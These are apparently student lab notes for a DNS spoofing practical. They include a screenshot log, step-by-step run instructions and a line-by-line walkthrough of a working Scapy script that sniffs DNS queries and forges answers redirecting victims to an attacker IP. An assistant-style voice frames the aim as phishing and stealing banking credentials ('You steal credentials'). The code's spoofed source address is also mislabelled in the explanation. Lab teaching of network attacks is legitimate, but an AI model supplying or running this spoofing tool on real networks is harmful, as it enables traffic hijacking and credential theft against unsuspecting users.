

A screenshot of a Windows desktop environment. At the top is a black PowerShell window titled "Windows PowerShell". The command "python dns.py" has been run, displaying a log of DNS requests and a successful spoofing attempt. The taskbar below shows various pinned icons including File Explorer, Spotify, and Microsoft Edge. The system tray indicates it's sunny at 39°C. The date and time in the bottom right corner are 18-04-2025 and 11:59.

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Windows PowerShell
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PS C:\Users\Atul_Gavhane\Desktop\TE-IT-WADL-main\cyber_prac\DNS> python dns.py
● DNS Spoofing Attack Started... Waiting for DNS request...
⚡ DNS Request Detected: wpad.hgu_lan.
⚡ DNS Request Detected: chatgpt.com.
⚡ DNS Request Detected: www.example.com.
✓ Spoofed www.example.com. → 192.168.1.200 and sent to 192.168.1.52
⚡ DNS Request Detected: www.example.com.
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⚡ DNS Request Detected: self.events.data.microsoft.com.
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```

How to run :

Here's a complete, step-by-step guide to running your **DNS spoofing attack script using Scapy** — made simple and clear for your **external practical or demo** ✓

🛠 Prerequisites (Setup Before Running)

⚠️ Warning: Do this in a lab/test network only. DNS spoofing is illegal on public networks.

📦 Step 1: Install Required Tools

☑️ Install Python (if not already):

- Download from <https://www.python.org>
- Make sure to **check “Add Python to PATH”** during install.

☑️ Install Scapy (in CMD or PowerShell):

```
pip install scapy
```

💻 Step 2: Prepare the Python Script

- Save your script as dns_spoof.py in a folder, e.g.:

C:\Users\YourName\Desktop\CyberPrac\dns_spoof.py

Step 3: Modify Script Parameters

In your script, make sure you set the correct:

```
victim_ip = "192.168.1.101"      # IP of target (your friend/test VM)
attacker_ip = "192.168.1.100"    # Your local IP (check with ipconfig)
fake_ip = "192.168.1.200"        # Fake site IP (can be your local server or just dummy)
```

To check your IP:

ipconfig

Step 4: Run the Script as Administrator

 Must run as Admin to sniff/send packets:

Open **Command Prompt or PowerShell as Administrator**:

- Right-click → **Run as Administrator**

Then run:

python dns_spoof.py

You'll see:

 DNS Spoofing Attack Started... Waiting for DNS request...

Step 5: Trigger DNS Request from Victim Machine

On the **victim machine**, run:

nslookup www.example.com

Or open a browser and go to:

<http://www.example.com>

If your attack works, the spoofed response will redirect it to 192.168.1.200.

Step 6: Watch Output on Attacker Machine

You'll see logs like:

 DNS Request Detected: www.example.com.
 Spoofed www.example.com. → 192.168.1.200 and sent to 192.168.1.52

This means your **spoofing worked**.

Optional Testing Tip:

If 192.168.1.200 is your local server (e.g., a Python web server), you can also start it:

```
python -m http.server 80
```

Then, if the victim gets redirected to your server, your attack is fully confirmed.

Done! You can now:

- Take screenshots for your report
 - Record output for practical exam
 - Explain this in viva to get full marks **100**
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Want help creating a short **viva answer**, **report**, or **PowerPoint**? I can make it in minutes.

External Explanation :

In Technical Terms:

- When a victim tries to visit a website (e.g. www.example.com), their device first sends a DNS request:
→ “Hey DNS, what’s the IP address of www.example.com?”
 - Normally, a real DNS server replies with the real IP.
 - **In a spoofing attack**, your script sees this request **before the real server can reply**.
 - It then **sends a fake DNS response** with a **malicious IP** (e.g., a phishing site, malware server, or attacker-controlled server).
 - The victim’s browser then loads **your chosen IP** instead of the real site.
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Goal of DNS Spoofing:

- **Phishing:** Redirect to a fake login page and steal passwords.

- **Malware Delivery:** Redirect to a malware-hosting site.
 - **Surveillance:** Log the victim's traffic via a fake site.
 - **Denial of Service:** Redirect to a dead IP, causing site failure.
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🔥 Example Outcome:

- Victim types `www.bank.com`
 - Attacker's fake DNS response redirects them to `192.168.1.200` (your fake site)
 - Victim sees a fake banking site → enters username/password → You steal credentials 
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Explanation of code :

Absolutely! Let's break down your **DNS spoofing script** step by step so you fully understand what it's doing. This is a great hands-on script for cybersecurity labs.

📦 Imports

```
from scapy.all import *\nimport random
```

- scapy is a powerful Python library used for **packet crafting, sniffing, and sending network packets**.
 - random isn't used here, but it's often included if you want to randomize IPs or ports (optional).
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⚙️ Configuration

```
victim_ip = "192.168.1.101"      # Replace with actual victim IP\nattacker_ip = "192.168.1.100"    # Replace with attacker's IP\ndomain_to_spoof = "www.example.com"\nfake_ip = "192.168.1.200"        # IP to which victim will be redirected
```

- These are the main settings for your attack:
 - victim_ip: The device making the DNS request.
 - attacker_ip: Your machine (sending the spoofed DNS response).
 - domain_to_spoof: The domain you want to target (e.g., `www.example.com`).
 - fake_ip: The IP address where you want to redirect the victim (maybe a phishing site or local server).
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🌐 Prevent Repeated Spoofing

```
spoofed_domains = set()
```

- This set is used to **avoid spoofing the same DNS query repeatedly**, which can look suspicious or flood the network.
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✉ Main Function: dns_spoof(packet)

```
def dns_spoof(packet):
```

This function will be called every time a DNS packet is sniffed.

🔍 Check for DNS Query

```
if packet.haslayer(DNSQR):
```

- This checks if the packet contains a **DNS Query Request** (not a response).
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🔗 Extract the Requested Domain

```
query = packet[DNSQR].qname.decode()  
print(f"🔗 DNS Request Detected: {query}")
```

- It extracts the domain name being queried (e.g., www.example.com.).
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🔗 Spoof if Domain Matches

```
if domain_to_spoof in query and query not in spoofed_domains:
```

- If the domain matches what you want to spoof (and you haven't spoofed it already), then proceed.
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🌐 Build Spoofed DNS Response

```
spoofed_response = (  
    IP(src=victim_ip, dst=packet[IP].src) /  
    UDP(sport=53, dport=packet[UDP].sport) /  
    DNS(  
        id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,  
        an=DNSRR(rrname=packet[DNSQR].qname, ttl=10, rdata=fake_ip)  
    )  
)
```

Here's what this does:

- **IP Layer:**
 - src=victim_ip: Pretending the response comes from the *real DNS server* (spoofed).
 - dst=packet[IP].src: Sending it back to whoever sent the request.
- **UDP Layer:**
 - sport=53: DNS replies come from port 53.
 - dport=packet[UDP].sport: Send it to the same port the request came from.

• DNS Layer:

- id=packet[DNS].id: Keeps the ID the same so the victim accepts it as a valid reply.
 - qr=1: This marks the packet as a *response*.
 - aa=1: Authoritative answer flag.
 - qd: Copies the question section.
 - an: Provides a fake answer — says "this domain points to fake_ip".
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Send the Spoofed Packet

```
send(spoofed_response, verbose=0)
```

- Sends the packet over the network to the victim.
 - verbose=0 hides Scapy's default output.
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Log the Spoof

```
print(f" ✅ Spoofed {query} → {fake_ip} and sent to {packet[IP].src}")
```

- Tells you in the terminal that a spoofed response was successfully sent.
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Start Sniffing DNS Requests

```
sniff(filter="udp port 53", prn=dns_spoof, store=0)
```

- Listens for **UDP traffic on port 53** (DNS).
 - For every packet captured, it runs your dns_spoof() function.
 - store=0 means don't keep packets in memory (to save RAM).
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Summary of How It Works

1. Sniffs for DNS requests.
 2. When a victim asks for www.example.com, your script jumps in first.
 3. It sends a **fake DNS response** pointing to 192.168.1.200.
 4. Victim's device accepts it and goes to the wrong (attacker's) IP.
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Want a diagram of this flow or want help turning this into a **lab report or practical file?**
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